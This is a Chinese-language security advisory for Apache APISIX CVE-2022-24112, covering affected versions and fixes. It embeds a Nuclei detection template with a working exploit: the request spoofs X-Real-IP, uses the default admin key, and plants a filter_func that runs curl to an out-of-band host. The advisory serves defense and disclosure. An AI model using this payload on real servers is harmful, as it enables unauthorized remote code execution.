一、风险概述
在 Apache APISIX 2.12.1 之前的版本中(不包含 2.12.1 和 2.10.4),启用 Apache APISIX batch-requests 插件之后,会存在改写 X-REAL-IP header 风险。
该风险会导致以下两个问题:
-
攻击者通过 batch-requests 插件绕过 Apache APISIX 数据面的 IP 限制。如绕过 IP 黑白名单限制。
-
如果用户使用 Apache APISIX 默认配置(启用 Admin API ,使用默认 Admin Key 且没有额外分配管理端口),攻击者可以通过 batch-requests 插件调用 Admin API 。
这个漏洞本质利用和 CVE-2021-45232 类似,都是绕过授权或未授权,来执行恶意的 route 里的 filter_func 或者 script 来执行命令
二、注意事项
-
X-Real-IP 的值可以是 127.0.0.1,localhost 或者 2130706433
-
pipeline 是必须项,以下为其 body 部分的值说明
-
method 固定为 PUT
-
uri 必须存在,这也是 exp 后需要访问来触发的 URL
-
plugins,upstream/upstream_id,service_id 这三个必须存在其中一个,详情可以参考官方文档
如果 service_id 不可用 可以替换成 “upstream”:{“type”:“roundrobin”,“nodes”:{“httpbin.org:80”:1}}
id: CVE-2022-24112
info:
name: Apache APISIX apisix/batch-requests RCE
description: Apache APISIX apisix/batch-requests plugin allows overwriting the X-REAL-IP header to RCE;An attacker can abuse the batch-requests plugin to send requests to bypass the IP restriction of Admin API. A default configuration of Apache APISIX (with default API key) is vulnerable to remote code execution. When the admin key was changed or the port of Admin API was changed to a port different from the data panel, the impact is lower. But there is still a risk to bypass the IP restriction of Apache APISIX's data panel. There is a check in the batch-requests plugin which overrides the client IP with its real remote IP. But due to a bug in the code, this check can be bypassed.
author: Mr-xn
severity: critical
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2022-24112
- https://www.openwall.com/lists/oss-security/2022/02/11/3
- https://twitter.com/sirifu4k1/status/1496043663704858625
- https://apisix.apache.org/zh/docs/apisix/plugins/batch-requests
tags: cve,cve2022,apache,rce,apisix
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.80
cve-id: CVE-2022-24112
cwe-id: CWE-290
requests:
- raw:
- |
POST /apisix/batch-requests HTTP/1.1
Host: {{Host}}:9080
Content-Type: application/json
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
{"headers":{"X-Real-IP":"127.0.0.1","Content-Type":"application/json"},"timeout":1500,"pipeline":[{"method":"PUT","path":"/apisix/admin/routes/index?api_key=edd1c9f034335f136f87ad84b625c8f1","body":"{\r\n \"name\": \"test\", \"method\": [\"GET\"],\r\n \"uri\": \"/api/test\",\r\n \"upstream\":{\"type\":\"roundrobin\",\"nodes\":{\"httpbin.org:80\":1}}\r\n,\r\n\"filter_func\": \"function(vars) os.execute('curl {{randstr}}.{{interactsh-url}}'); return true end\"}"}]}
- |
GET /api/test HTTP/1.1
Host: {{Host}}:9080
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
redirects: false
matchers-condition: and
req-condition: true
matchers:
- type: dsl
dsl:
- "status_code_1 == 200"
# - "status_code_2 == 404"
- 'contains(body_1, "{{randstr}}")'
# - 'contains(body_1, "\"status\":200,\"reason\":\"OK\"}")'
condition: and
- type: word
part: interactsh_protocol # Confirms the HTTP Interaction
words:
- "http"
三、影响版本
- Apache APISIX 1.3 ~ 2.12.1 之间的所有版本(不包含 2.12.1 )
- Apache APISIX 2.10.0 ~ 2.10.4 LTS 之间的所有版本 (不包含 2.10.4)
四、解决方案
- 该问题目前已在 2.12.1 和 2.10.4 版本中得到解决,请尽快更新至相关版本。
- 在受影响的 Apache APISIX 版本中,可以对 conf/config.yaml 和 conf/config-default.yaml 文件显式注释掉 batch-requests,并且重启 Apache APISIX 即可规避此次风险。
五、漏洞详情
-
漏洞优先级:高
-
漏洞公开时间:2022 年 2 月 11 日
-
CVE 详细信息:https://nvd.nist.gov/vuln/detail/CVE-2022-24112